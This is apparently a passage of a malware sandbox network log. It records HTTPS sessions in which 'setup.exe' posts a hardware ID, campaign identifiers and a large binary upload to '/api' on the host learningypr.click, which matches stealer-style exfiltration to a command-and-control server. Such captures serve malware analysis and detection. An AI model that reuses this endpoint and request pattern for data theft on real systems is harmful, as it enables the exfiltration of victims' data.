2024-12-30 18:10:17 UTC	15331	OUT	Data Raw: 2d 2d 50 4f 45 4e 34 56 55 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 32 45 45 44 32 31 46 44 45 34 30 41 35 38 44 38 35 38 35 41 42 34 34 34 38 33 35 36 33 45 39 0d 0a 2d 2d 50 4f 45 4e 34 56 55 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 50 4f 45 4e 34 56 55 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 44 52 4f 4e 0d 0a 2d 2d 50 4f 45 4e 34 56 55 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 Data Ascii: --POEN4VU2Content-Disposition: form-data; name="hwid"72EED21FDE40A58D8585AB44483563E9--POEN4VU2Content-Disposition: form-data; name="pid"3--POEN4VU2Content-Disposition: form-data; name="lid"hRjzG3--DRON--POEN4VU2Content-Dispositi
2024-12-30 18:10:17 UTC	5045	OUT	Data Raw: b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 f0 eb b1 64 f0 52 3c 78 29 f8 d7 c1 d7 cc 07 00 00 00 Data Ascii: Mn 64F6(X&7~`aO@dR<x)
2024-12-30 18:10:19 UTC	1129	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 18:10:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8vt32gbnmgsu9rbi7ip98u61mg; expires=Fri, 25 Apr 2025 11:56:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KLWUuQLXzJIzkaU2rQIxmP6X8GE6Id0q8GGK6JiCWZ481NjQwTIv6pvdBwKvXJGkXZpB6vUYH2jCG1cAKmlWz8HnyoLuugiuGv%2BKR9jDoa4C1slOf0Y4Ul5HAyiGgO4CWwjeag%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa3fc5a68e972b9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1948&min_rtt=1799&rtt_var=973&sent=10&recv=24&lost=0&retrans=0&sent_bytes=2841&recv_bytes=21329&delivery_rate=975935&cwnd=214&unsent_bytes=0&cid=456d8d22d706bb0f&ts=2330&x=0"
2024-12-30 18:10:19 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 18:10:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	104.21.32.1	443	7252	C:\Users\user\Desktop\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 18:10:20 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Z88PPM2L User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 7069 Host: learningypr.click
2024-12-30 18:10:20 UTC	7069	OUT	Data Raw: 2d 2d 5a 38 38 50 50 4d 32 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 32 45 45 44 32 31 46 44 45 34 30 41 35 38 44 38 35 38 35 41 42 34 34 34 38 33 35 36 33 45 39 0d 0a 2d 2d 5a 38 38 50 50 4d 32 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 5a 38 38 50 50 4d 32 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 44 52 4f 4e 0d 0a 2d 2d 5a 38 38 50 50 4d 32 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 Data Ascii: --Z88PPM2LContent-Disposition: form-data; name="hwid"72EED21FDE40A58D8585AB44483563E9--Z88PPM2LContent-Disposition: form-data; name="pid"1--Z88PPM2LContent-Disposition: form-data; name="lid"hRjzG3--DRON--Z88PPM2LContent-Dispositi
2024-12-30 18:10:21 UTC	1133	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 18:10:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r1u59o5hb4j83ofq1i152lrcj5; expires=Fri, 25 Apr 2025 11:56:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jdc2xwQCaq1%2Bm13TVJnOsfqUnSu9KDWiY1YvWfBwun2WmDVYAbk9qyewQIyxd91DxIIf%2BnLImqCF3VyZjG6gQGl2KXkVd52rlhrv0vdfDGcWnozSpLClRhOZjm%2BJ%2Fbs3ppOHSA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa3fc6f2ba31875-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1644&min_rtt=1639&rtt_var=625&sent=7&recv=12&lost=0&retrans=0&sent_bytes=2841&recv_bytes=7977&delivery_rate=1736028&cwnd=153&unsent_bytes=0&cid=a7b3cd71e8d7e060&ts=477&x=0"
2024-12-30 18:10:21 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 18:10:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49742	104.21.32.1	443	7252	C:\Users\user\Desktop\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 18:10:21 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HXTEUTBDR7M2M2TJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1243 Host: learningypr.click
2024-12-30 18:10:21 UTC	1243	OUT	Data Raw: 2d 2d 48 58 54 45 55 54 42 44 52 37 4d 32 4d 32 54 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 32 45 45 44 32 31 46 44 45 34 30 41 35 38 44 38 35 38 35 41 42 34 34 34 38 33 35 36 33 45 39 0d 0a 2d 2d 48 58 54 45 55 54 42 44 52 37 4d 32 4d 32 54 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 48 58 54 45 55 54 42 44 52 37 4d 32 4d 32 54 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 44 52 4f 4e 0d 0a 2d 2d 48 58 54 Data Ascii: --HXTEUTBDR7M2M2TJContent-Disposition: form-data; name="hwid"72EED21FDE40A58D8585AB44483563E9--HXTEUTBDR7M2M2TJContent-Disposition: form-data; name="pid"1--HXTEUTBDR7M2M2TJContent-Disposition: form-data; name="lid"hRjzG3--DRON--HXT
2024-12-30 18:10:24 UTC	1139	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 18:10:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2ui4lqrv529biuf2ns4iorcoh1; expires=Fri, 25 Apr 2025 11:57:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=91C%2BoqyNidKsKCVNFntyBidSlR31f4ae2brg0a%2FbLt%2FdXOn5JCmbgOe%2FjqPCDWBT64Qe4NgPGWSc6FQ%2BNc86q0Q%2BRalB0vxN7P78B%2FGc8PwBCJpYA4ZO8GRwGngl4r1FhC3UpA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa3fc769e6572b9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1826&min_rtt=1823&rtt_var=689&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2841&recv_bytes=2159&delivery_rate=1580942&cwnd=214&unsent_bytes=0&cid=1690d31ef2dd50f0&ts=2214&x=0"
2024-12-30 18:10:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 18:10:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49743	104.21.32.1	443	7252	C:\Users\user\Desktop\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 18:10:25 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7DH7ZQOL75A5IGHY65 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 585356 Host: learningypr.click
2024-12-30 18:10:25 UTC	15331	OUT	Data Raw: 2d 2d 37 44 48 37 5a 51 4f 4c 37 35 41 35 49 47 48 59 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 32 45 45 44 32 31 46 44 45 34 30 41 35 38 44 38 35 38 35 41 42 34 34 34 38 33 35 36 33 45 39 0d 0a 2d 2d 37 44 48 37 5a 51 4f 4c 37 35 41 35 49 47 48 59 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 37 44 48 37 5a 51 4f 4c 37 35 41 35 49 47 48 59 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 44 52 4f 4e 0d Data Ascii: --7DH7ZQOL75A5IGHY65Content-Disposition: form-data; name="hwid"72EED21FDE40A58D8585AB44483563E9--7DH7ZQOL75A5IGHY65Content-Disposition: form-data; name="pid"1--7DH7ZQOL75A5IGHY65Content-Disposition: form-data; name="lid"hRjzG3--DRON
2024-12-30 18:10:25 UTC	15331	OUT	Data Raw: 0d 9b b9 4f 71 ae ff d0 20 6b 43 f2 e0 66 4c ef 48 88 55 03 ff 73 3e 76 53 cb c9 12 e4 3e d2 f1 4c 80 26 23 15 03 87 46 51 8c 78 33 1f 43 44 43 62 46 4b d8 e1 84 fd 93 3b 17 2a 5a c4 60 1f f0 5d d6 04 97 ab 44 fa 37 96 7b b3 f0 2c c0 89 90 35 f6 3d 32 39 a0 a9 fb f3 4f 4a 80 2c 17 08 fc 96 1c 99 83 f5 4a 67 3b 05 e3 17 ed 80 5b 89 ea e3 2e e3 20 d5 aa 87 5b 04 df 23 bc db 91 24 58 fd df e0 22 14 6a f7 f1 48 8b 93 99 19 97 a1 a0 80 33 aa 5f 9b 85 5b 56 91 48 2e 74 30 c8 8c a0 de 05 c9 5d f6 6e f8 37 fd 0a 92 2e 2b 87 87 23 4f 05 b5 ba 4c 0b 77 bb 28 d2 e2 3e 87 aa 57 b5 fa 52 75 db 65 3f 5e b1 d7 06 2b e2 15 e7 ec 45 3e 1f 8a bc ea 2f 43 90 22 4b 8e 04 71 4e 17 15 aa 3a 34 90 da d1 d7 68 39 2d 3e 42 07 f5 6d 06 b6 df ce db e9 73 d1 23 77 cd d2 82 38 41 0f Data Ascii: Oq kCfLHUs>vS>L&#FQx3CDCbFK;*Z`]D7{,5=29OJ,Jg;[. [#$X"jH3_[VH.t0]n7.+#OLw(>WRue?^+E>/C"KqN:4h9->Bms#w8A
2024-12-30 18:10:25 UTC	15331	OUT	Data Raw: c0 cf ba ff aa fc 26 2a b5 43 ee 5e 37 4e d5 09 18 02 4a 23 6f e6 e3 7a fd 0a 84 1b 2a 75 f7 13 a6 d8 ae 0a 14 17 ba 13 db 77 d9 71 fa 3c 82 83 cb 2d bb b0 1d d5 a4 25 59 82 3f f3 3c 7c ce bd 7e 86 e7 8e 8c cf e2 0c 93 98 96 23 38 7b 7c 39 8e ed ab 29 82 93 75 bf 8f 54 27 12 a9 ba 55 8c f9 79 7d df cd b7 46 66 85 e5 6a 80 ad 2a c4 bb 57 93 24 f1 17 b3 eb d8 02 4b 8c a2 b0 d5 f9 00 7f 2e a4 67 bb e5 2a 1f a2 c1 61 f7 d2 d7 83 4d 21 47 0a 3f ab 35 ce 13 9b 13 d0 6d 9f 41 86 70 38 be 9f 7f 5a f5 3f 17 d9 97 0d 55 fd 5a 0d 46 c3 85 30 1b 37 8e 89 d4 cb 4d 52 ad 50 11 de 9c 73 8f a6 76 f8 db 3e 93 33 dd 40 99 1a 4a 7d 22 cf ac eb 5c 58 dc f0 ff 3b 3b 7e ae db 09 61 a8 c9 be 2c 0e 32 8e b5 b3 ab 12 8f 32 15 13 f6 56 b5 2b 20 79 7b 29 89 b2 41 56 eb df 7c 86 24 Data Ascii: &C^7NJ#ozuwq<-%Y?<\|~#8{\|9)uT'Uy}FfjW$K.gaM!G?5mAp8Z?UZF07MRPsv>3@J}"\X;;~a,22V+ y{)AV\|$
2024-12-30 18:10:25 UTC	15331	OUT	Data Raw: 69 8c 00 c5 a0 8a 24 dd 73 fa d6 68 a4 0e 39 9a 67 78 d9 74 f9 ef d1 ed f0 22 8b fc 7d b7 42 82 79 88 da eb ad 3b 5d 07 65 39 2d 68 70 5e e5 cf b0 d2 9b cf af 31 7f 9e f2 de 10 20 9d 80 78 8a d2 20 a9 7f fe a9 62 5a 67 3a 83 87 db 86 4f 4c 5f 6f 06 43 e9 7c f8 99 7b d0 81 d2 01 db ea 8b 17 6e 6f 59 c3 be aa 95 2f 94 27 9c 28 59 87 b1 4e 67 d4 40 b7 96 56 36 bd 75 85 31 ef 14 3d 7a 4a 8f 4b b4 48 93 f1 29 73 a6 a9 f2 2f 20 a9 94 2f 53 0c ad 63 d0 6d 25 ec 28 e3 bf fa b8 c2 56 5e 06 9c 60 3b 6d 1a 3c e3 6d d5 6b b0 73 6e 8a 7d b5 7b 3f 0e 83 c9 ef 95 a3 72 13 9c ee b0 fb d8 d3 a9 c0 d0 98 d6 a3 72 a3 95 1b 3b d3 f3 99 28 cd 92 b5 5a e6 c2 f4 be 10 f6 27 d9 7f 8d c5 c5 c8 ac 53 cb a5 ce 2b c0 e2 1f 4e 95 de 27 43 38 17 7c 73 f6 fd 05 b7 e4 54 c5 0f bc 2a 02 Data Ascii: i$sh9gxt"}By;]e9-hp^1 x bZg:OL_oC\|{noY/'(YNg@V6u1=zJKH)s/ /Scm%(V^`;m<mksn}{?rr;(Z'S+N'C8\|sT*
2024-12-30 18:10:25 UTC	15331	OUT	Data Raw: 1a 9e 6a 74 92 2c bd 54 c4 5d 03 44 af 40 8b b6 1a 73 45 7f 02 5c 9a b4 1a 63 8f a6 59 b2 47 d2 b1 f1 88 c7 b6 17 6f 37 f6 a8 3a 6f 18 9d 02 6d 34 be 8e f5 61 db b7 52 dd 2f c2 f3 54 34 a0 a2 9f 49 84 04 d0 26 19 49 3c e1 c0 83 ea 55 c8 89 c4 21 c8 de e0 2e 7f 3e 0d 8e a8 0f ef 59 3c 0d cc 0f e2 4e e3 a5 b6 3b fd 43 4b 1a 37 54 e9 f2 8f 09 93 f3 19 fc 89 4c cd bd 39 18 2e 77 d6 84 b9 2a 55 e9 36 27 44 2a 9c 78 9f 8d 53 3b 31 63 c1 6f 74 dd 0b d1 a9 de 74 5b 6d 41 e4 48 03 d9 41 00 1c 19 8b f9 c9 e6 9a 92 ae 1d dd 34 96 cb 63 de d3 cd aa fc c7 1f ff 29 e2 96 5c 12 98 69 dd a1 9a 0b 09 d6 11 3d 30 c3 19 1e 57 14 42 5a b1 4b 73 27 44 e1 9e 69 5f 30 2f 73 72 fa b7 34 b9 a4 d1 f9 cb 2a fc cf 19 42 9c f0 ff 0e 5f a4 42 55 7b 7d 74 56 f2 af 8e c2 c1 27 be 8c 26 Data Ascii: jt,T]D@sE\cYGo7:om4aR/T4I&I<U!.>Y<N;CK7TL9.wU6'DxS;1cott[mAHA4c)\i=0WBZKs'Di_0/sr4*B_BU{}tV'&
2024-12-30 18:10:25 UTC	15331	OUT	Data Raw: f1 a7 c0 55 11 67 47 9e 5e e8 d0 81 7c 84 ef b4 70 9d 48 03 31 3d 85 d3 d8 93 5f 86 f1 8a 69 85 81 f1 66 bc 31 de b1 6e 87 f6 ec 3c 6d d2 15 98 ef 05 61 80 b9 96 b7 af 7a 75 1e 81 01 27 07 c8 fd 12 ba ce 42 54 da b3 f9 d9 56 8b bb d7 0f 13 00 e5 8b c0 f8 ed c0 9d 66 7c 80 9b 51 a4 d7 43 e4 97 0d 50 26 02 cc 95 a2 a4 d4 b9 8b fd d4 65 c8 60 fb 58 cf f6 9b 11 cf 73 f4 e2 f9 34 90 92 d5 c9 02 2a 7d 09 2d 42 9d 47 44 fe 77 f6 23 9e ea 84 87 51 af fe ef b4 97 f3 ef 84 8e 02 1b bd e5 8d b7 77 bb 66 de de 65 bf d8 df 64 95 e8 3a b9 59 f4 6a dd 7a 5c a0 be 72 84 5f fe 06 a5 62 2e 39 17 ef f0 f5 26 3a f7 65 4f de c7 26 5e b7 45 04 5d 30 6d d5 f2 02 1f 2d 3f 8e 64 19 1e 18 16 19 74 9b 07 c0 58 24 a1 91 e4 6e 10 20 7e 99 3c c3 e6 56 78 c3 f7 87 04 ab 75 c5 b0 a6 27 Data Ascii: UgG^\|pH1=_if1n<mazu'BTVf\|QCP&e`Xs4*}-BGDw#Qwfed:Yjz\r_b.9&:eO&^E]0m-?dtX$n ~<Vxu'
2024-12-30 18:10:25 UTC	15331	OUT	Data Raw: 41 8c e4 b3 99 df 83 7b 40 33 a5 3f 35 db 50 ef 06 20 b5 56 c8 fc cf db 7a 08 48 82 79 2c 98 70 a8 ff 60 f4 66 88 b7 d3 a9 b8 d5 bb 99 af d2 e0 c6 90 21 c0 43 d5 c6 2a 03 b3 93 e8 2b 77 71 d2 e1 08 cc 5b ac c8 7b 01 01 8f 92 cd d4 d3 c1 c9 2f f9 ff df b3 5e ef 4e ad cb 80 2e 21 d6 1d ae b2 3c 5d cc 33 e5 fa 86 a2 29 c4 e5 5d 27 ce 2f 69 31 73 d3 1e 1c 40 5e 98 72 fd 5b 43 44 82 8f b3 16 71 48 f2 31 4a e5 5c e9 dd 5b d5 af 7f 0b a3 b8 a8 37 6d f5 04 ce 96 d9 fd 58 85 62 37 9e b1 07 a7 f8 b1 ff 04 b2 87 2b 12 81 06 cf dc 69 23 4b 5c 48 65 6f 69 f5 6d 8a dc e5 60 5d 74 fc e4 0c e6 cb 13 27 19 de bd 03 56 f9 d6 48 94 cb ae 1e 25 cc b8 07 de 98 50 c2 29 39 69 4d 5c af df a1 28 9f b3 47 81 6f f9 cb 37 ad 4b 13 ce 4a 75 33 73 1d c7 50 21 5b 0e f7 1c a9 0a 6f 2a Data Ascii: A{@3?5P VzHy,p`f!C+wq[{/^N.!<]3)]'/i1s@^r[CDqH1J\[7mXb7+i#K\Heoim`]t'VH%P)9iM\(Go7KJu3sP![o
2024-12-30 18:10:25 UTC	15331	OUT	Data Raw: ba 2e fb ea 32 d5 59 6b e7 84 12 d4 53 df ee 7f 8e 02 6d 1f 5e 4a c9 5e e5 d1 07 9f e0 83 2d 14 69 58 1d bc 10 4a cc 31 cb 3e 7d cc 51 b6 5d 8c b3 75 32 43 22 b1 39 81 cf 5e f3 46 7f bd ac 44 63 3b 31 54 6b 92 fd 5e 64 e2 74 c5 91 3f a6 7c fe f6 2c 5b c9 fe ab a9 be eb e6 ff d2 2e 86 12 ae 35 b0 d5 3a 87 c5 b4 f3 38 2b 5b 04 1a 4c ce 8b 57 b9 59 c1 53 c6 66 7e 8b 73 f5 41 28 06 0e fa f4 4a 6c a8 99 1c bc 92 f1 69 08 bf 6f 03 b1 32 18 1c 35 2c 63 dd 43 17 14 2a 45 ad bc 6e 95 aa 97 cd 2b 5a 7b c3 5a 2c 70 8b c5 be 75 69 2e e1 61 67 2f de a3 a0 61 43 a3 44 1d 2a ae a9 6a 0a 23 43 ed 10 5b 08 e3 9b 25 28 88 7b 4b 34 75 d4 8a a8 63 e6 c3 69 11 8c be 48 00 e4 49 e7 d7 51 9a a0 a5 d8 4b 7a f4 68 1f a3 7d 95 4f 84 1a 11 a8 9a 9f d1 b9 1e 88 db 13 b6 19 65 30 23 Data Ascii: .2YkSm^J^-iXJ1>}Q]u2C"9^FDc;1Tk^dt?\|,[.5:8+[LWYSf~sA(Jlio25,cCEn+Z{Z,pui.ag/aCDj#C[%({K4uciHIQKzh}Oe0#
2024-12-30 18:10:25 UTC	15331	OUT	Data Raw: be b6 52 18 0e 28 2c f0 9e d1 1e 0c 8f 60 b2 30 f5 51 4d 7f 94 3f ee e5 18 2b 18 b5 07 d0 8a 6f fe 18 7a d1 80 5c 40 fe 14 27 c0 26 d9 95 83 ae a3 bc 3f c1 e4 c9 19 f3 c3 f3 de 42 3e c7 29 56 41 06 48 3b 35 a6 bc d0 36 d0 da a9 a5 48 27 b8 42 43 c9 9a 4c 10 9a 84 ce 42 93 a2 05 90 eb af 9f da 66 7c 8e c5 14 ec 90 4d 23 70 68 22 83 8a 6e 8f 27 b4 d0 b7 03 06 c6 5c a4 4b 95 e2 9d fe fe be 2e f4 bd 42 79 dd 4f 69 35 c0 ee 2a ea 58 a5 32 44 72 05 3f c4 ae 8e 72 75 94 b3 39 d0 2a 58 2a 89 b7 27 d4 9c a1 1a 22 e4 d0 af 84 12 45 c9 d3 27 81 4d 5e 66 3e b5 64 3d 2f 8a ad c3 4b e0 f0 5f 4b 54 21 2b 7c b7 99 df 7f 6a f0 81 92 35 f7 a7 da 24 ca e5 54 4e 41 74 9e 21 0f 2b 22 86 8e ff 12 aa 27 ea 0e 91 58 14 74 a3 21 3d 7e 1b b5 26 00 5a f2 d7 0f 08 8d 46 4a cc 0e 2a Data Ascii: R(,`0QM?+oz\@'&?B>)VAH;56H'BCLBf\|M#ph"n'\K.ByOi5X2Dr?ru9X'"E'M^f>d=/K_KT!+\|j5$TNAt!+"'Xt!=~&ZFJ
2024-12-30 18:10:25 UTC	15331	OUT	Data Raw: dd 8f 51 df 8a 13 c8 66 08 e6 f3 bf 13 0f 4d 51 f6 c9 20 c8 fd 6e 99 bc b9 6a d7 be 71 2f ee 4b 9f 01 2e 25 a5 74 28 21 a5 b4 d6 92 f9 17 af ed 93 1c af ed 7b f9 b4 42 63 88 8b 35 7d a6 40 10 95 3c 7f ee 23 ef 5d 45 43 48 3b 6f 96 a7 12 ba d2 e5 f5 29 26 21 b8 6f e3 46 af e2 47 d6 a4 43 ef 73 21 2f 5f ad 63 46 4d ef 38 6d 5c 41 ec 0b 09 82 0f 94 fa c5 9d e9 24 21 86 43 00 53 0e 9a 4e df cf 8e e3 78 fa 0a 85 ee 6f b4 64 96 f5 6e a7 97 f8 f6 a0 61 af f5 93 fa 9e e7 4b 7b df 51 e6 ee f6 e8 bb bc ef 59 5c ad f0 7b 6a 3a 57 51 7c 94 62 56 e9 e1 38 af f0 b1 1f 49 86 99 1f 07 2e 4c 34 ed 2f be b9 df c3 df 2b d7 69 a2 fd 73 79 67 78 e5 47 0e 6a 53 0e 53 7c 0d 12 9b df 68 75 ff e0 03 ac ef 60 b2 a9 e9 cd ff ba 8b 8a 44 c0 92 12 bf 6e e8 da ec 17 07 24 47 ef 77 7b Data Ascii: QfMQ njq/K.%t(!{Bc5}@<#]ECH;o)&!oFGCs!/_cFM8m\A$!CSNxodnaK{QY\{j:WQ\|bV8I.L4/+isygxGjSS\|hu`Dn$Gw{
2024-12-30 18:10:27 UTC	1139	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 18:10:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gq6b9gl2knn8mkmtj5urhu0nfn; expires=Fri, 25 Apr 2025 11:57:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QfeAsm6jgRSlfBD9GtIjxoKqjn4sMYtO61kiOAGzn5UDoM6cCu1rc2xA88StcP5RRkSiaqzpb6Q%2BePv%2B7Y6%2FA7MasOeVwMde8skk%2BvuGbk7Ai9ChTQ41mn4BjfFLEP69oeTPyQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa3fc90097772b9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1820&min_rtt=1817&rtt_var=687&sent=325&recv=601&lost=0&retrans=0&sent_bytes=2841&recv_bytes=587948&delivery_rate=1586094&cwnd=214&unsent_bytes=0&cid=3e77b40f80d4aa2f&ts=1748&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49744	104.21.32.1	443	7252	C:\Users\user\Desktop\setup.exe

Timestamp	Bytes transferred	Direction	Data
